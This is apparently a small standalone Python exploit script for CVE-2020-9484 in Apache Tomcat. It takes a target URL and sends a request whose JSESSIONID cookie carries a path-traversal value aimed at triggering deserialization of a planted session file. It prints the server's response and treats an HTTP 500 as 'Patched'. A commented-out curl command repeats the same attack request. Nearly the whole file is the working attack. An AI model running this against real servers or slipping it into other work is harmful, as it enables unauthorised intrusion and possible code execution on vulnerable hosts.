import requests
import os, sys



def main():
    print("CVE: CVE-2020-9484")
    RHOST = input("Target : ")
    try:
        u = requests.get(f"{RHOST}/index.jsp")
        if u.status_code == 200:
            print("Found Index Page")
            pass
        elif u.status_code == 404:
            print("Looks Like we Could not Find index Page")
            sys.exit()
        header = {
            "Cookie": "JSESSIONID=../../../../../usr/local/tomcat/groovy"
        }
        sett = requests.get(f"{RHOST}/index.jsp", headers=header)
        if sett.status_code == 200:
            print(sett.text)
            #os.system(f"curl '{RHOST}/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy' | grep -oh 'java' | sort -u == 'java' | tee result.txt | -o /dev/null")
            #print("If Any Results They Will be Saved in result.txt")
            print("Output ^")
        if sett.status_code == 500:
            print("Patched")
            sys.exit()
            
        if sett.text == " ":
            print("No Content")
            pass
        
    except Exception as e:
        print("Looks Like there Was A Problem Connecting to Target")
        
main()
